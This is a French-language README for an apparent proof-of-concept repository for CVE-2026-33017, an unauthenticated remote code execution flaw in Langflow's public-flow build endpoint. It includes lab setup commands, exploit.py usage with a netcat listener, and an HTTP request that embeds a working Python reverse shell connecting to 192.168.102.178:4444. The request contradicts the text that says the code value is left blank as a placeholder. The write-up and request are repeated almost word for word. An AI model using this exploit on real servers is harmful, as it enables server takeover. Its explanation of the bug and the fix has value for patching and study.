eqstlab/cve-2026-33017Langflow RCE
★ CVE-2026-33017 Langflow PoC d'exécution de code à distance ★
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
Utilisez les commandes suivantes pour construire et exécuter l'environnement Langflow vulnérable :
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
Après avoir démarré l'instance Langflow vulnérable, lancez le PoC avec l'URL cible, l'ID du Public flow et l'adresse de rappel de l'attaquant.
Option A — utilisez votre propre listener :
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444
Option B — utilisez le listener intégré avec --listen :
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
CVE-2026-33017 est une vulnérabilité d'exécution de code à distance (RCE) dans le processus de build des Public flows de Langflow, une plateforme open-source permettant de construire visuellement des applications LLM et des workflows IA.
En envoyant des données de flow forgées à l'endpointbuild_public_tmpsans authentification, un attaquant peut provoquer l'exécution de code Python arbitraire sur le serveur.
CVE-2026-33017 affecte l'endpoint de build de Public flow suivant dans Langflow, une plateforme open-source permettant de créer visuellement des applications LLM et des workflows IA.
POST /api/v1/build_public_tmp/{flow_id}/flow
Un Public flow dans Langflow est conçu pour être partagé avec d'autres utilisateurs via un lien ou un mécanisme similaire.
Pour prendre en charge cette fonctionnalité, l'endpoint de build prépare le flow à l'exécution sans exiger d'authentification, en lisant les nœuds, les arêtes (edges) et les paramètres du flow, puis en construisant le graphe d'exécution interne nécessaire à son fonctionnement.
Le problème est que les versions vulnérables de build_public_tmp acceptaient non seulement les informations du Public flow stockées sur le serveur, mais aussi le champ data fourni dans le corps de la requête.
Ce champ data pouvait contenir la définition complète du flow, notamment :
Par conséquent, un attaquant pouvait utiliser une requête non authentifiée pour injecter une structure de flow entièrement contrôlée par l'attaquant, au lieu de s'appuyer sur le Public flow légitime stocké sur le serveur.
Un aspect particulièrement dangereux de cette conception est la fonctionnalité Custom Component.
Dans Langflow, un composant représente un bloc fonctionnel individuel responsable de tâches telles que la gestion des entrées, l'invocation de modèles ou la génération de sorties. Un composant personnalisé est un bloc extensible qui permet aux utilisateurs de définir son comportement directement en code Python.
Un attaquant pouvait donc intégrer un composant personnalisé contenant du code Python malveillant dans l'objet data forgé, et le serveur le traitait comme s'il s'agissait d'une partie normale du flow. Par conséquent, le code injecté pouvait être analysé et exécuté pendant le processus de build ou d'exécution, conduisant finalement à une exécution de code à distance.
| Catégorie | Version |
|---|---|
| Vulnérable | Langflow antérieur à 1.9.0 |
| Corrigée | Langflow 1.9.0 et ultérieur |
Le GitHub Security Advisory indique la plage affectée comme
<= 1.8.2, mais le correctif — la suppression du paramètredata— est arrivé dans 1.9.0. Toutes les versions antérieures à 1.9.0 (y compris 1.8.3 / 1.8.4) sont donc affectées, c'est pourquoi l'enregistrement CVE précise< 1.9.0.
L'exploitation réussie de cette vulnérabilité peut permettre à un attaquant de prendre le contrôle du serveur Langflow et d'effectuer des actions ultérieures telles que :
Le PoC suivant démontre CVE-2026-33017 sur Langflow 1.8.1.
L'attaquant identifie d'abord le flow_id d'un Public flow cible.
L'attaquant envoie une requête build_public_tmp qui injecte un composant personnalisé dont le code Python est exécuté sur le serveur pendant le build temporaire. Dans la requête ci-dessous, la valeur de code est laissée en tant qu'espace réservé — insérez vous-même le payload (voir la note sous la requête).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
Pendant le processus de build, le code intégré dans le composant personnalisé est exécuté sur le serveur. Lorsque la variante reverse shell (automatisée par exploit.py) est utilisée, une connexion est établie vers le listener de l'attaquant, offrant à ce dernier un shell interactif pour exécuter des commandes arbitraires sur le serveur.
Bien que build_public_tmp ait été conçu pour construire des Public flows, les versions vulnérables acceptaient toujours un champ data directement issu du corps de la requête.
En raison de cette conception, le data fourni par l'attaquant était transmis directement à la logique de build côté serveur, et tout code Python intégré dans un composant personnalisé était traité comme s'il faisait partie d'un flow légitime.
Par conséquent, un attaquant n'avait pas besoin de s'appuyer sur le Public flow d'origine stocké sur le serveur. Au lieu de cela, il pouvait injecter sa propre définition de flow entièrement malveillante, y compris du code pouvant être exécuté sur le serveur.
Après le correctif, build_public_tmp n'accepte plus de data fourni en externe.
En d'autres termes, le chemin qui permettait auparavant aux attaquants d'injecter une définition complète de flow via le corps de la requête a été supprimé, ce qui a également empêché l'exécution de code arbitraire via des composants personnalisés malveillants.
73b6612e3ef25fdae0a752d75b0fabd47328d4f0CVE-2026-33017 est une vulnérabilité d'exécution de code à distance (Remote Code Execution, RCE) survenant dans le processus de build des Public flows de Langflow, une plateforme open-source de workflows IA.
En transmettant des données de flow manipulées à l'endpointbuild_public_tmpsans authentification, un attaquant peut provoquer l'exécution de code Python arbitraire côté serveur.
CVE-2026-33017 survient dans l'endpoint de build des Public flows de Langflow, une plateforme open-source permettant de composer visuellement des applications LLM et des workflows IA, via l'API suivante :
POST /api/v1/build_public_tmp/{flow_id}/flow
Un Public flow dans Langflow est un flow exposé publiquement afin que d'autres utilisateurs puissent le charger et l'utiliser via un lien ou un mécanisme similaire.
Cette fonctionnalité est conçue pour préparer le flow à l'exécution sans authentification ; l'endpoint de build génère le graphe d'exécution interne à partir des nœuds, des relations de connexion et des paramètres du flow, et prépare chaque bloc à fonctionner réellement.
Le problème est que les versions vulnérables de l'endpoint build_public_tmp acceptaient également la valeur data incluse dans le corps de la requête.
Ce data pouvait contenir la définition complète du flow, comme suit :
En d'autres termes, un attaquant pouvait, via une requête non authentifiée, injecter une structure de flow entièrement manipulée à la place du flow légitime stocké sur le serveur.
Dans ce processus, l'élément particulièrement dangereux est le composant personnalisé (Custom Component).
Dans Langflow, un composant est un bloc chargé d'une fonction individuelle telle que le traitement des entrées, l'appel de modèles ou la génération de sorties ; un composant personnalisé est un bloc extensible que l'utilisateur peut définir directement en code Python.
L'attaquant pouvait insérer dans le data manipulé un composant personnalisé contenant du code Python malveillant, et le serveur le traitait comme un élément de flow normal. Par conséquent, ce code était réellement interprété et exécuté dans le flux de build/exécution, rendant possible l'exécution de code à distance.
| Catégorie | Version |
|---|---|
| Vulnérable | Langflow antérieur à 1.9.0 |
| Corrigée | Langflow 1.9.0 et ultérieur |
Le GitHub Security Advisory indique la plage affectée comme
<= 1.8.2, mais le correctif effectif (suppression du paramètredata) a été intégré dans 1.9.0. Par conséquent, toutes les versions antérieures à 1.9.0, y compris 1.8.3 et 1.8.4, sont vulnérables ; c'est également ce que précise l'enregistrement CVE avec la mention< 1.9.0.
Grâce à cette vulnérabilité, un attaquant peut prendre le contrôle du serveur Langflow puis effectuer des actions supplémentaires. Les impacts les plus représentatifs sont les suivants :
Le PoC ci-dessous est un exemple de reproduction de CVE-2026-33017 sur Langflow 1.8.1.
L'attaquant identifie d'abord le flow_id du Public flow ciblé.
L'attaquant envoie une requête build_public_tmp manipulée afin que le code Python du composant personnalisé soit exécuté sur le serveur pendant le build temporaire. La valeur de code dans la requête ci-dessous est laissée vide à titre d'espace réservé — insérez vous-même le payload (voir les instructions sous la requête).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
Pendant le processus de build, le code inclus dans le composant personnalisé est exécuté sur le serveur. En utilisant la méthode du reverse shell automatisée par exploit.py, une connexion est établie vers le listener de l'attaquant ; l'attaquant obtient ainsi un shell interactif permettant d'exécuter des commandes arbitraires sur le serveur.
Bien que l'endpoint build_public_tmp des versions vulnérables soit une API de build destinée aux Public flows, il pouvait recevoir directement la valeur data depuis le corps de la requête.
En raison de cette conception, le data transmis par l'attaquant était reflété tel quel dans la logique de build côté serveur, et le code Python du composant personnalisé qu'il contenait était également traité comme un élément de flow normal.
Par conséquent, l'attaquant pouvait, sans suivre le Public flow d'origine stocké sur le serveur, injecter directement sa propre définition de flow malveillante, et le code malveillant qu'elle contenait pouvait être exécuté sur le serveur.
Après le correctif, build_public_tmp a été modifié pour ne plus recevoir de data provenant de requêtes externes.
En d'autres termes, le chemin permettant à un attaquant d'injecter la définition du flow elle-même via le corps de la requête a été bloqué, ce qui a également rendu impossible l'exécution de code arbitraire via des composants personnalisés.
73b6612e3ef25fdae0a752d75b0fabd47328d4f0| Option | Description |
|---|
--url | URL du serveur Langflow cible |
--flow-id | UUID du Public flow partagé |
--lhost | IP de rappel de l'attaquant |
--lport | Port de rappel de l'attaquant |
--listen | Exécute le listener intégré au lieu d'un nc externe |